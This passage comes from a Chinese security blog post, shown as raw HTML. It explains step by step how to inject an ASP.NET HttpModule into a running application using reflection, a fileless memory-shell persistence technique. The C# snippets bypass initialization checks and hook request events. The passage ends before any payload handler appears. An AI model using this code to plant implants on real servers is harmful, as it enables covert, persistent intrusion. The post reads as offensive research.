Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.35958549222797925" data-s="300,640" style="" data-type="png" data-w="965" src="https://wechat2rss.xlab.app/img-proxy/?k=6d08ee02&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmNObj9q7EWcZsNDCCn0uq9lAT0CY6SYknhYpKia688ibzDSpZibk9CIDbA%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 12px;"></figcaption></figure><div style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">可以看到就是循环执行每个<p style="font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(255, 100, 65);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">module</p>的<p style="font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(255, 100, 65);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">init</p>方法</div><div style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">这里看下我们的自定义<p style="font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(255, 100, 65);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">module</p>的<p style="font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(255, 100, 65);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">init</p>方法，可以看到就是把我们的事件处理方法包装成<p style="font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(255, 100, 65);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">EventHandler</p>并挂载到<p style="font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(255, 100, 65);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">httpapplication</p>实例的事件上。</div><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">所以一开始的思路是</p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: square;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">把我们的自定义module通过反射的方式添加到_moduleCollection</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">执行InitModulesCommon方法</p></li></ul><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">FieldInfo moduleCollectionField = httpApplicationType.GetField(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;_moduleCollection&#34;</span>, BindingFlags.Instance | BindingFlags.NonPublic);         <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span> moduleCollectionValue = moduleCollectionField.GetValue(httpApplicationInstance);        MethodInfo addMethod = moduleCollectionValue.GetType().GetMethod(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;AddModule&#34;</span>, System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic);        addMethod.Invoke(moduleCollectionValue, parameters);</p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">这里我们使用HttpModuleCollection的AddModule方法向集合添加module</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><a href="https://referencesource.microsoft.com/#System.Web/HttpModuleCollection.cs,3e6ca3076722037d" target="_blank">https://referencesource.microsoft.com/#System.Web/HttpModuleCollection.cs,3e6ca3076722037d</a></p><figure style="margin-top: 10px;margin-bottom: 10px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2133676092544987" data-s="300,640" style="" data-type="png" data-w="778" src="https://wechat2rss.xlab.app/img-proxy/?k=709599b8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmVZV4PW5SiboHNEK6qQdx0iaujdrmnvollA09Ad0CSbdDFsJOmWcqb1Lw%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 12px;"></figcaption></figure><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">MethodInfo initMethod = httpApplicationType.GetMethod(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;InitModulesCommon&#34;</span>,System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic);initMethod.Invoke(httpApplicationInstance, <span style="color: rgb(86, 182, 194);line-height: 26px;">null</span>);</p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">但是报错显示在Httpapplication初始化之后校验方法的InvocationFlags标志位</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><a href="https://referencesource.microsoft.com/#mscorlib/system/reflection/fieldinfo.cs,533cc59fbe48130c" target="_blank">https://referencesource.microsoft.com/#mscorlib/system/reflection/fieldinfo.cs,533cc59fbe48130c</a></p><figure style="margin-top: 10px;margin-bottom: 10px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6833333333333333" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9d2aec4a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmNqLh25DZosjScR3KPIx0SJkNtXtg5r33B2UxY1wRLKDI5qSJuU33QA%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 12px;"></figcaption></figure><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><a href="https://referencesource.microsoft.com/#mscorlib/system/reflection/methodbase.cs,22ea3e7b5798f250" target="_blank">https://referencesource.microsoft.com/#mscorlib/system/reflection/methodbase.cs,22ea3e7b5798f250</a></p><figure style="margin-top: 10px;margin-bottom: 10px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7213822894168467" data-s="300,640" style="" data-type="png" data-w="926" src="https://wechat2rss.xlab.app/img-proxy/?k=ce06f46d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmwTlN6pomRTFo6AkwefS30WbEGvTeJ3p6AazE9KQiaj3Xvic6icNNI37Wg%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 12px;"></figcaption></figure><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">不能再执行init方法</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">尝试反射修改方法的属性值</p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">PropertyInfo invocationFlagsProperty = initMethod.GetType().GetProperty(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;InvocationFlags&#34;</span>, BindingFlags.Instance | BindingFlags.NonPublic);        INVOCATION_FLAGS newFlagsValue1 = INVOCATION_FLAGS.INVOCATION_FLAGS_UNKNOWN;        invocationFlagsProperty.SetValue(initMethod, newFlagsValue1);</p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><strong>但该属性值没有set方法</strong></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">上面的方法失败了，开始思考微软是否会有支持在不修改web.config的情况下动态添加module的方法，于是找到了LegacyModuleRegistrar</p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">Type legacyModuleRegistrarType = <span style="color: rgb(198, 120, 221);line-height: 26px;">typeof</span>(DynamicModuleUtility); <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// 将 ContainingType 替换为包含 LegacyModuleRegistrar 类的实际类型</span>        Type legacyModuleRegistrarNestedType = legacyModuleRegistrarType.GetNestedType(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;LegacyModuleRegistrar&#34;</span>, BindingFlags.NonPublic);        <span style="color: rgb(198, 120, 221);line-height: 26px;">if</span> (legacyModuleRegistrarNestedType != <span style="color: rgb(86, 182, 194);line-height: 26px;">null</span>)        {            <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span> legacyModuleRegistrarInstance = Activator.CreateInstance(legacyModuleRegistrarNestedType);</p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">但是需要在头部添加标签</p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">[<span style="color: rgb(97, 174, 238);line-height: 26px;">assembly: PreApplicationStartMethod(typeof(WebApplication2.PreApplicationStartCode), <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;PreStart&#34;</span>)</span>] </p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">很遗憾这仍然不是通过一个payload就能实现的操作</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">在如何执行init方法这里卡了几天，想到我们能不能<strong>直接执行init，只要把我们的方法挂到事件上就可以</strong>,在这个过程中我又发现了对httpapplication是否已经初始化的校验</p><figure style="margin-top: 10px;margin-bottom: 10px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.22777777777777777" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=217b8108&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmH8nica4tJezheJEiaOcG76pGBouN1xDSzX5iadsHVaWTnVerlicjwwpCDg%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 12px;"></figcaption></figure><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">通过反射进行修改绕过</p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">FieldInfo initField = httpApplicationType.GetField(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;_initInternalCompleted&#34;</span>, BindingFlags.Instance | BindingFlags.NonPublic);         initField.SetValue(httpApplicationInstance,<span style="color: rgb(86, 182, 194);line-height: 26px;">false</span>);        <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//初始化 module</span>        customModule.Init(<span style="color: rgb(198, 120, 221);line-height: 26px;">this</span>.Context.ApplicationInstance);        initField.SetValue(httpApplicationInstance,<span style="color: rgb(86, 182, 194);line-height: 26px;">true</span>);</p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">然而当我们去请求的时候，发现我们挂载到事件上的方法并没有执行。</p><h4 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 18px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">事件挂载</h4><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">跟踪挂载过程发现调用私有方法HttpApplication.AddSyncEventHookup</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.29814814814814816" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=234ae61c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmd71aLlI8fB0dXAicIXn4ep2iaJpSj7DfbtO3Eq5DcGrLmKjcdsGvb6eA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">尝试反射修改掉IsContainerInitalizationAllowed，然后发现无法绕过的地方，在读取moduleContainer过程中我们的key为Global.asax，且基于ASP.NET安全机制无法通过反射修改。</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">于是决定通过反射的方式，直接完成方法功能</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="text-decoration: line-through;">首先反射调用Addhandler</span></p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;"><span style="text-decoration: line-through;"> PropertyInfo eventsProperty = httpApplicationType          .GetProperty(<span style="text-decoration: line-through;color: rgb(152, 195, 121);line-height: 26px;">&#34;Events&#34;</span>, BindingFlags.Instance | BindingFlags.NonPublic);        <span style="text-decoration: line-through;color: rgb(198, 120, 221);line-height: 26px;">object</span> eventsInstance = eventsProperty.GetValue(httpApplicationInstance);        MethodInfo addHandlerMethod = eventsInstance.GetType()          .GetMethod(<span style="text-decoration: line-through;color: rgb(152, 195, 121);line-height: 26px;">&#34;AddHandler&#34;</span>);</span></p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">通过HttpApplication的方法，获取一个初始化过程中已经加载了的module container,这里选的是AspNetFilterModule</p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">        MethodInfo getModuleContainerMethod = httpApplicationType.GetMethod(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;GetModuleContainer&#34;</span>, BindingFlags.Instance | BindingFlags.NonPublic);        <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span>[] parametersCurrentModuleCollectionKey = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span>[] { <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;AspNetFilterModule&#34;</span> }; <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// 根据方法参数进行适当调整</span>        <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span> moduleContainer = getModuleContainerMethod.Invoke(httpApplicationInstance, parametersCurrentModuleCollectionKey);</p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">第三步通过反射调用构造函数创建step实例</p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">Type syncEventExecutionStepType = httpApplicationType.GetNestedType(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;SyncEventExecutionStep&#34;</span>, BindingFlags.NonPublic);        ConstructorInfo constructor = syncEventExecutionStepType.GetConstructor(BindingFlags.NonPublic | BindingFlags.Instance, <span style="color: rgb(86, 182, 194);line-height: 26px;">null</span>, <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> Type[] { <span style="color: rgb(198, 120, 221);line-height: 26px;">typeof</span>(System.Web.HttpApplication), <span style="color: rgb(198, 120, 221);line-height: 26px;">typeof</span>(EventHandler) }, <span style="color: rgb(86, 182, 194);line-height: 26px;">null</span>);        <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span> step = constructor.Invoke(<span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span>[] { httpApplicationInstance, c });</p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">最终调用AddEvent方法，将我们的step和RequestNotification类型的事件绑到一起，添加到我们的moduleContainer中</p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation 